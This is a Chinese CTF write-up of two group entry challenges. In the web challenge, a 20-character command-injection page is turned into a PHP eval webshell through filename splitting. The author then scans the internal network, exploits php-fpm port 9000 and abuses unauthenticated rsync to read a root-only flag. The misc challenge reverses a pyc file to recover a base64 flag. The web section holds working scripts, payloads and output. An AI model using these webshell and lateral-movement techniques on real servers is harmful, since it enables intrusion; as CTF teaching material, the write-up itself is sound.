ctf-qq-group-challenge-writeup-web-and-misc

CTF学习交流群(群号 473831530)上一期入群题的Web和Misc的wp,暑假时候做的,不过现在才换新一期入群题,才把wp整理出来,人挺菜的,文章若有什么错误,敬请指正,非常感谢喵~

两道题都是在Virink酱的耐心指导下慢慢做出来的,非常非常非常感谢Virink酱~

Web题出题人Virink酱和Misc出题人Processor酱也都是超级厉害的大师傅,做题经验和出题经验都超丰富哒,在题里学到了很多东西,所以再感谢一下Virink酱,然后感谢一下Processor酱~

全部题目:https://shimo.im/doc/rhhI8AQQm58DK2fD

Web

题目

题目说明

不要硬扫! 不要爆破! 不然就ban了
Tips: py3

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
/**
*
* Hint: 本题只是门槛,亲、
*
*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 20) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
echo "<br /> IP : {$_SERVER['REMOTE_ADDR']}";
  • 建一个沙盒,文件夹的名字是md5('orange'+ip)
  • 如果GET方法的cmd设置了值,并且长度小于等于20,执行命令
  • 如果GET方法的reset被设置了值,把沙盒文件夹删除。
  • 输出一下你的IP

开始!

看完题目代码,那现在的目标就是执行命令,先ls一下看看目录里面都有啥吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python2
# -*- coding:utf8 -*-
__author__ = 'Cytosine'
import requests
import hashlib
import re
base_url = 'https://473831530.trains.virzz.com/'
def exec_cmd(c):
# exec cmd
my_params = {
'cmd':c+' >1.txt'
}
r = requests.get(base_url,params=my_params)
print 'exec cmd',c,r
# get 1.txt
url = base_url + 'sandbox/' + hashlib.md5('orange'+my_ip).hexdigest() + '/1.txt'
print url,'content:'
cont = requests.get(url).content
print cont
pass
def foo():
# get my ip
cont = requests.get(base_url).content
# print cont
global my_ip
my_ip= re.findall('((?:(?:25[0-5]|2[0-4]\d|(?:1\d{2}|[1-9]?\d))\.){3}(?:25[0-5]|2[0-4]\d|(?:1\d{2}|[1-9]?\d)))', cont)[0]
# 感谢VK酱,匹配IP的正则表达式从这里 http://www.cnblogs.com/txw1958/archive/2011/10/13/ip_address_regular_expression.html 复制粘贴的
print 'my ip:',my_ip
cmd_list = ['ls .','whoami','pwd']
for i in cmd_list:
exec_cmd(i)
pass
if __name__ == '__main__':
foo()
print 'ok'

output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
my ip: [ip打码]
exec cmd ls . <Response [200]>
https://473831530.trains.virzz.com/sandbox/[打码]/1.txt content:
1.txt
exec cmd whoami <Response [200]>
https://473831530.trains.virzz.com/sandbox/[打码]/1.txt content:
www-data
exec cmd pwd <Response [200]>
https://473831530.trains.virzz.com/sandbox/[打码]/1.txt content:
/www/sandbox/[打码]
ok

next:命令执行写webshell

那现在能执行一些长度不超过20的系统命令,那下一步自然是要持久化,比如说,写个shell →_→

VK酱发给窝这篇文章,http://wonderkun.cc/index.html/?p=524 ,那就照着这篇文章写个webshell吧,思路如下:

  • 在自己vps的根目录上放个index.html,内容是个webshell
  • wget vps -O cyto.php分成几段,写成文件名
  • ls -tr>1.sh
  • sh 1.sh

webshell就被下载到了靶机上

然后,试了好久好久,始终写不进去,问出题人vk酱,原来wget不让用QAQ 嘤嘤嘤QAQ

哎,只能直接把shell当文件名来写shell了,思路也和上面类似:

  • echo '<?php @eval($_POST["c"]);'>1.php分成几段,写成文件名
  • ls -tr>1.sh
  • sh 1.sh

文件名拆分如下:

1
2
3
4
5
cmd=>echo\ \\
cmd=>\'\<\?php \\
cmd=>\@eval\(
cmd=>\$_POST\[\"c\"\]
cmd=>\)\;\'\>1.php

py2脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python2
# -*- coding:utf8 -*-
__author__ = 'Cytosine'
import requests
import hashlib
import re
base_url = 'https://473831530.trains.virzz.com/'
def exec_cmd(c):
# exec cmd
my_params = {
'cmd':c+' >1.txt'
}
r = requests.get(base_url,params=my_params)
print 'exec cmd',c,r
# get 1.txt
url = base_url + 'sandbox/' + hashlib.md5('orange'+my_ip).hexdigest() + '/1.txt'
print url,'content:'
cont = requests.get(url).content
print cont
pass
def exec_cmd2(c):
# exec cmd
my_params = {
'cmd':c
}
r = requests.get(base_url,params=my_params)
print 'exec cmd2',c,r
pass
def write_webshell():
filename=[r'>echo\ \\',r">\'\<\?php \\",r'>\@eval\(',r'>\$_POST\[\"c\"\]',r">\)\;\'\>1.php"]
for i in filename:
my_params = {
'cmd':i
}
r = requests.get(base_url,params=my_params)
print i,r.status_code
cmd_list = ['ls -tr>1.sh','sh 1.sh']
for i in cmd_list:
exec_cmd2(i)
# confirm
url = base_url + 'sandbox/' + hashlib.md5('orange'+my_ip).hexdigest() + '/1.php'
print url
my_params = {
'c':'phpinfo();'
}
r = requests.get(url,params=my_params)
print 'phpinfo()',r.status_code
# print r.content
pass
def foo():
# get my ip
cont = requests.get(base_url).content
# print cont
global my_ip
my_ip= re.findall('((?:(?:25[0-5]|2[0-4]\d|(?:1\d{2}|[1-9]?\d))\.){3}(?:25[0-5]|2[0-4]\d|(?:1\d{2}|[1-9]?\d)))', cont)[0]
# 感谢VK酱,匹配IP的正则表达式从这里 http://www.cnblogs.com/txw1958/archive/2011/10/13/ip_address_regular_expression.html 复制粘贴的
print 'my ip:',my_ip
# cmd_list = ['ls .','whoami','pwd']
# for i in cmd_list:
# exec_cmd(i)
write_webshell()
pass
if __name__ == '__main__':
foo()
print 'ok'

output:

1
2
3
4
5
6
7
8
9
10
11
my ip: [打码]
>echo\ \\ 200
>\'\<\?php \\ 200
>\@eval\( 200
>\$_POST\[\"c\"\] 200
>\)\;\'\>1.php 200
exec cmd2 ls -tr>1.sh <Response [200]>
exec cmd2 sh 1.sh <Response [200]>
https://473831530.trains.virzz.com/sandbox/[打码]/1.php
phpinfo() 200
ok

然后,蚁剑连上去~

2 下一步:内网

扫描存活主机

先拿到本机ip,可以看phpinfo()里面有一项是$_SERVER['SERVER_ADDR'],本题里对应值是172.16.233.222

然后扫C段,从172.16.233.0扫到172.16.233.255,脚本如下:

因为题目给了hint:py3, 所以下面在172.16.233.222上运行的脚本都是py3的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
# -*- coding:utf8 -*-
__author__ = 'Cytosine'
import socket
def foo():
with open('active_ip.txt','at') as f:
for i in range(255+1):
ip = '172.16.233.%d'%i
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,80))
s.close()
f.writelines(ip)
except socket.error:
pass
f.close()
pass
if __name__ == '__main__':
foo()
print('ok')

output:

1
2
3
172.16.233.1
172.16.233.111
172.16.233.222
  • 172.16.233.1.1 一般是网关/docker宿主机
  • 172.16.233.222 是本机

所以窝们下一步的目标是在172.16.233.111上

扫描端口

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
# -*- coding:utf8 -*-
__author__ = 'Cytosine'
import socket
def foo():
with open('active_port.txt','at') as f:
for i in range(65535+1):
ip = '172.16.233.111'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,i))
s.close()
f.writelines(str(i)+'\n')
except socket.error:
pass
f.close()
pass
if __name__ == '__main__':
foo()
print('ok')

output:

1
2
3
80
873
9000

搜一下端口对应的服务/漏洞:

  • 873 Rsync未授权访问
  • 9000 fpm-php fpm命令执行

先看9000端口的fpm命令执行

p牛文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

还有现成的exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

看exp的218~222行,使用方式应该是python3 fpm.py 172.16.233.111 [一个存在的文件的绝对路径] -c [要执行的代码]

来找路径吧,试了几个默认的比如/var/www/html什么的,都不对,找vk酱嘤嘤嘤QAQ,vk酱提示:111和222的目录是一样的,也就是前面是/www/了,再找一个php文件就大功告成了,试着访问了一下80端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
# -*- coding:utf8 -*-
# http://python3-cookbook.readthedocs.io/zh_CN/latest/c11/p01_interact_with_http_services_as_client.html
from urllib import request, parse
def foo():
ip = 'http://172.16.233.111/'
port = 80
with open('py1.txt', 'at') as f:
# Make a GET request and read the response
u = request.urlopen(ip)
resp = u.read()
f.writelines(str(resp))
f.close()
pass
if __name__ == '__main__':
foo()

output:

1
2
$ cat py1.txt
b'<meta http-equiv="refresh" content="1; url=\'/redirect.php\'">'

得到php文件的绝对路径:/www/redirect.php,执行:

1
python3 fpm.py 172.16.233.111 /www/redirect.php

成功执行phpinfo(),返回太长了,不贴了~

然后加上-c之后,无论窝执行什么,都返回ret=2,然后试了一下这个:

1
2
$ python3 fpm.py 172.16.233.111 /www/redirect.php -c "<?php phpinfo(); exit; ?>"
ret=2

有毒吧,default的代码复制过来,一样的代码,默认就没问题,-c带上就有问题

感觉题目环境的argparse有问题,经vk酱指正,是蚁剑对符号解析的问题QAQ,于是乎只能蠢蠢地每次执行什么命令,就都写到221行的default后面QAQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ ls -al
total 20
drwxr-xr-x 3 root root 4096 Jul 19 10:18 .
drwxr-xr-x 48 root root 4096 Jul 19 10:37 ..
drwxr-xr-x 2 root root 4096 Jul 19 10:17 html
-rw-r--r-- 1 root root 60 Jul 19 10:17 index.html
-rw-r--r-- 1 root root 87 Jul 19 10:17 redirect.php
$ ls -al html
total 8
drwxr-xr-x 2 root root 4096 Jul 19 10:17 .
drwxr-xr-x 3 root root 4096 Jul 19 10:18 ..
-rw-r--r-- 1 root root 0 Jul 19 10:17 index.html
$ ls -al /
total 220
drwxr-xr-x 48 root root 4096 Jul 19 10:37 .
drwxr-xr-x 48 root root 4096 Jul 19 10:37 ..
-rwxr-xr-x 1 root root 0 Jul 19 10:20 .dockerenv
-rwx------ 1 root root 21 Jul 19 10:17 7h1s_i5_f14g
drwxr-xr-x 2 root root 4096 Jul 19 10:17 bin
drwxr-xr-x 2 root root 4096 Feb 23 23:23 boot
drwxr-xr-x 5 root root 340 Jul 20 12:46 dev
-rwxr-xr-x 1 root root 131 Jul 19 10:17 docker-entrypoint.sh
drwxr-xr-x 63 root root 4096 Jul 19 10:20 etc
drwxr-xr-x 2 root root 4096 Feb 23 23:23 home
drwxr-xr-x 12 root root 4096 Jun 25 00:00 lib
drwxr-xr-x 2 root root 4096 Jun 25 00:00 lib64
drwxr-xr-x 2 root root 4096 Jun 25 00:00 media
drwxr-xr-x 2 root root 4096 Jun 25 00:00 mnt
drwxr-xr-x 2 root root 4096 Jun 25 00:00 opt
dr-xr-xr-x 334 root root 0 Jul 20 12:46 proc
-rwx------ 1 root root 137929 Sep 13 2017 rongrong.jpg
drwx------ 2 root root 4096 Jun 25 00:00 root
drwxr-xr-x 5 root root 4096 Jul 20 12:46 run
drwxr-xr-x 2 root root 4096 Jul 19 10:17 sbin
drwxr-xr-x 2 root root 4096 Jun 25 00:00 srv
dr-xr-xr-x 13 root root 0 Jul 9 06:28 sys
drwxrwxrwt 2 root root 4096 Jul 20 12:46 tmp
drwxr-xr-x 19 root root 4096 Jun 25 00:00 usr
drwxr-xr-x 23 root root 4096 Jul 19 10:50 var
drwxr-xr-x 3 root root 4096 Jul 19 10:18 www
$ cat /7h1s_i5_f14g
$ whoami
nobody

终于看到了flag文件,但没权限读QAQ 嘤嘤嘤QAQ

然后看看873的未授权访问

文章:http://www.cmdhack.com/?post=119

尝试执行$ rsync -avz 172.16.233.111::/7h1s_i5_f14g /www/sandbox/[打码],QAQ,同步不下来

然后……求助vk酱QAQ,vk酱告诉窝:“要想办法知道为啥下不下来,找找配置

然后读配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat /etc/rsyncd.conf
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/nginx/rsyncd.log
[src]\npath = /
comment = src path
read only = yes
hosts allow = 127.0.0.1

只能本地访问,那只能把flag文件同步到/tmp目录下,然后读文件了QAQ

为什么要同步到/tmp目录呢?因为只有/tmp目录有写权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ pwd
/www
$ rsync -av 127.0.0.1::src/7h1s_i5_f14g /tmp
b'Content-type: text/html; charset=UTF-8\r\n\r\nreceiving incremental file list\n7h1s_i5_f14g\n\nsent 43 bytes received 113 bytes 312.00 bytes/sec\ntotal size is 21 speedup is 0.13\n'
$ ls -al /tmp
total 8
drwxrwxrwt 2 root root 4096 Jul 20 12:46 .
drwxr-xr-x 48 root root 4096 Jul 19 10:37 ..
-rwx------ 1 nobody nogroup 21 Jul 19 10:17 7h1s_i5_f14g
$ cat /tmp/7h1s_i5_f14g
b'Content-type: text/html; charset=UTF-8\r\n\r\nflag{rage_your_dream}'

getflag~

最后再总结一下

  • 利用把shell写到文件名,再ls到一个.sh文件中,执行sh,从命令执行到写shell
  • 扫描C段存活主机+扫描存活主机端口,发现开了80, 873, 9000三个端口
  • 利用80端口得到后续漏洞需要的绝对路径
  • 9000端口“fpm命令执行”+873端口“Rsync未授权访问” getflag

MISC

说是杂项,我jio得实际上是一个pyc的逆向,现在看起来蛮简单的,不过当时从来没接触过,完全不会做,差不多是vk酱手把手教会的了(嗯,还用上了直播(乖巧

题目说明:

附件 md5 值为 5cd2950f7f410630e636a52106f1d26b
入群答案需要去掉多余标点符合:如感叹号!
Tips:
https://processor.pub/2017/03/22/0CTF-2017-python%E9%80%86%E5%90%91/

解题过程

uncompyle6反编译

先装个神器,uncompyle6:

1
pip install uncompyle6

然后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
uncompyle6 crypt.pyc
# uncompyle6 version 3.2.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.14 (default, Feb 6 2018, 20:04:00)
# [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.39.2)]
# Embedded file name: test.py
# Compiled at: 2018-06-16 13:36:54
import base64
part_1 = 'cmFnZVq'
part_2 = '95b3Vy'
part_3 = 'X2RyZWFt'
part_4 = 'ISEh'
def decode--- This code section failed: ---
15 0 <151> 0 None
3 <153> 1 None
6 SLICE+2
7 <151> 1 None
10 BINARY_ADD
11 <151> 2 None
14 BINARY_ADD
15 <151> 3 None
18 <153> 2 None
21 BINARY_MULTIPLY
22 BINARY_ADD
23 STORE_FAST 0 'secret'
16 26 <151> 4 None
29 LOAD_ATTR 5 'b64decode'
32 LOAD_FAST 0 'secret'
35 CALL_FUNCTION_1 1 None
38 STORE_FAST 1 'text'
17 41 LOAD_FAST 1 'text'
44 PRINT_ITEM
45 PRINT_NEWLINE_CONT
46 <153> 0 None
49 RETURN_VALUE
-1 RETURN_LAST
Parse error at or near `None' instruction at offset -1
decode()
# file crypt.pyc
# Deparsing stopped due to parse error
$ uncompyle6 -a crypt.pyc
# uncompyle6 version 3.2.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.14 (default, Feb 6 2018, 20:04:00)
# [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.39.2)]
# Embedded file name: test.py
# Compiled at: 2018-06-16 13:36:54
{}
[{'end': 55, 'start': 0, 'type': 'root'}]
L. 7 0 LOAD_CONST 0 -1
3 LOAD_CONST 1 None
6 IMPORT_NAME 0 'base64'
9 STORE_NAME 0 'base64'
L. 9 12 LOAD_CONST 2 'cmFnZVq'
15 STORE_NAME 1 'part_1'
L. 10 18 LOAD_CONST 3 '95b3Vy'
21 STORE_NAME 2 'part_2'
L. 11 24 LOAD_CONST 4 'X2RyZWFt'
27 STORE_NAME 3 'part_3'
L. 12 30 LOAD_CONST 5 'ISEh'
33 STORE_NAME 4 'part_4'
L. 14 36 LOAD_CONST '<code_object decode>'
39 MAKE_FUNCTION_0 0 None
42 STORE_NAME 5 'decode'
L. 19 45 LOAD_NAME 5 'decode'
48 CALL_FUNCTION_0 0 None
51 POP_TOP
52 LOAD_CONST 1 None
55 RETURN_VALUE
import base64
part_1 = 'cmFnZVq'
part_2 = '95b3Vy'
part_3 = 'X2RyZWFt'
part_4 = 'ISEh'
def decode--- This code section failed: ---
15 0 <151> 0 None
3 <153> 1 None
6 SLICE+2
7 <151> 1 None
10 BINARY_ADD
11 <151> 2 None
14 BINARY_ADD
15 <151> 3 None
18 <153> 2 None
21 BINARY_MULTIPLY
22 BINARY_ADD
23 STORE_FAST 0 'secret'
16 26 <151> 4 None
29 LOAD_ATTR 5 'b64decode'
32 LOAD_FAST 0 'secret'
35 CALL_FUNCTION_1 1 None
38 STORE_FAST 1 'text'
17 41 LOAD_FAST 1 'text'
44 PRINT_ITEM
45 PRINT_NEWLINE_CONT
46 <153> 0 None
49 RETURN_VALUE
-1 RETURN_LAST
Parse error at or near `None' instruction at offset -1
decode()
# file crypt.pyc
# Deparsing stopped due to parse error

根据uncompyle6的结果,窝们一点点还原代码

7~12行

uncompyle6 -a crypt.pyc输出的7(也就是原代码第七行):

1
2
3
4
L. 7 0 LOAD_CONST 0 -1
3 LOAD_CONST 1 None
6 IMPORT_NAME 0 'base64'
9 STORE_NAME 0 'base64'

这一块,对应着成功反编译出来的import base64

然后下面 9 10 11 12行的:

1
2
3
4
5
6
7
8
9
10
11
12
L. 9 12 LOAD_CONST 2 'cmFnZVq'
15 STORE_NAME 1 'part_1'
L. 10 18 LOAD_CONST 3 '95b3Vy'
21 STORE_NAME 2 'part_2'
L. 11 24 LOAD_CONST 4 'X2RyZWFt'
27 STORE_NAME 3 'part_3'
L. 12 30 LOAD_CONST 5 'ISEh'
33 STORE_NAME 4 'part_4'

以第九行为例,上面的LOAD_CONST,加载常量,下面的STORE_NAME,存储的名字,也就是定义变量,part_1 = 'cmFnZVq'这样

也就对应着成功反编译出来的

1
2
3
4
part_1 = 'cmFnZVq'
part_2 = '95b3Vy'
part_3 = 'X2RyZWFt'
part_4 = 'ISEh'

这一部分。

现在恢复的代码:

1
2
3
4
5
6
7 import base64
8
9 part_1 = 'cmFnZVq'
10 part_2 = '95b3Vy'
11 part_3 = 'X2RyZWFt'
12 part_4 = 'ISEh'

14行,19行

1
2
3
4
5
6
7
8
9
L. 14 36 LOAD_CONST '<code_object decode>'
39 MAKE_FUNCTION_0 0 None
42 STORE_NAME 5 'decode'
L. 19 45 LOAD_NAME 5 'decode'
48 CALL_FUNCTION_0 0 None
51 POP_TOP
52 LOAD_CONST 1 None
55 RETURN_VALUE

14行,一个代码对象,decode,也就是定义了一个函数def decode():

19行,CALL_FUNCTION_0,调用函数decode

现在恢复的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
7 import base64
8
9 part_1 = 'cmFnZVq'
10 part_2 = '95b3Vy'
11 part_3 = 'X2RyZWFt'
12 part_4 = 'ISEh'
13
14 def decode():
15
16
17
18
19 decode()

15

15,16,17行没有成功反编译出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def decode--- This code section failed: ---
15 0 <151> 0 None
3 <153> 1 None
6 SLICE+2
7 <151> 1 None
10 BINARY_ADD
11 <151> 2 None
14 BINARY_ADD
15 <151> 3 None
18 <153> 2 None
21 BINARY_MULTIPLY
22 BINARY_ADD
23 STORE_FAST 0 'secret'
16 26 <151> 4 None
29 LOAD_ATTR 5 'b64decode'
32 LOAD_FAST 0 'secret'
35 CALL_FUNCTION_1 1 None
38 STORE_FAST 1 'text'
17 41 LOAD_FAST 1 'text'
44 PRINT_ITEM
45 PRINT_NEWLINE_CONT
46 <153> 0 None
49 RETURN_VALUE
-1 RETURN_LAST
15行

BINARY_ADD相加,还加了3次,所以是四个变量,猜一下,是part_1加到part_4,然后赋值给secret的变量:

1
secret = part_1 + part_2 + part_3 + part_4

不过呢,这里还有个SLICE+2应该是切片的意思(字符串切片,就是在字符串里面提取一个子字符串

这个切片还是在第一个BINARY_ADD之前,所以应该是对part_1进行切片

那现在就要找part_1切片的下标了

SLICE+2表示的是[:n]。为什么呢?

窝们看下面这段代码:

1
2
3
4
5
6
1 s = 'yingyingying'
3 a = s[:]
4 b = s[2:]
5 c = s[:2]
6 d = s[2:2]

编译出来的pyc再反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
L. 1 0 LOAD_CONST 0 'yingyingying'
3 STORE_NAME 0 's'
L. 3 6 LOAD_NAME 0 's'
9 SLICE+0
10 STORE_NAME 1 'a'
L. 4 13 LOAD_NAME 0 's'
16 LOAD_CONST 1 2
19 SLICE+1
20 STORE_NAME 2 'b'
L. 5 23 LOAD_NAME 0 's'
26 LOAD_CONST 1 2
29 SLICE+2
30 STORE_NAME 3 'c'
L. 6 33 LOAD_NAME 0 's'
36 LOAD_CONST 1 2
39 LOAD_CONST 1 2
42 SLICE+3
43 STORE_NAME 4 'd'
46 LOAD_CONST 2 None
49 RETURN_VALUE

也就是说:

Disassembly python
SLICE+0 str[:]
SLICE+1 str[n:]
SLICE+2 str[:n]
SLICE+3 str[a:b]

然后再根据vk酱的指导,照着Processor的wp:

1
2
3
4
5
6
>>> import marshal
>>> f = open("crypt.pyc")
>>> f.seek(8)
>>> code = marshal.load(f)
>>> code.co_consts
(-1, None, 'cmFnZVq', '95b3Vy', 'X2RyZWFt', 'ISEh', <code object decode at 0x10898b430, file "test.py", line 14>)

发现一个常量-1,所以:

1
secret = part_1[:-1] + part_2 + part_3 + part_4
16行

b64decode,很熟悉,base64模块里的一个函数,用于解base64编码的

然后,再结合这两句:

1
2
32 LOAD_FAST 0 'secret'
38 STORE_FAST 1 'text'

很明显可以猜出来是,对secret解base64,然后存到变量text里面

1
text = base64.b64decode(secret)
17行
1
2
3
17 41 LOAD_FAST 1 'text'
44 PRINT_ITEM
45 PRINT_NEWLINE_CONT

PRINT_ITEM,打印项。打印哪一项?上面的text。然后PRINT_NEWLINE_CONT,再打印一个回车换行。

所以是print(text)

getflag~

所以恢复的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
7 import base64
8
9 part_1 = 'cmFnZVq'
10 part_2 = '95b3Vy'
11 part_3 = 'X2RyZWFt'
12 part_4 = 'ISEh'
13
14 def decode():
15 secret = part_1[:-1] + part_2 + part_3 + part_4
16 text = base64.b64decode(secret)
17 print(text)
18
19 decode()

运行:

1
rage_your_dream!!!

最后flag:flag{rage_your_dream}

成功getflag~

窝很可爱,请给窝钱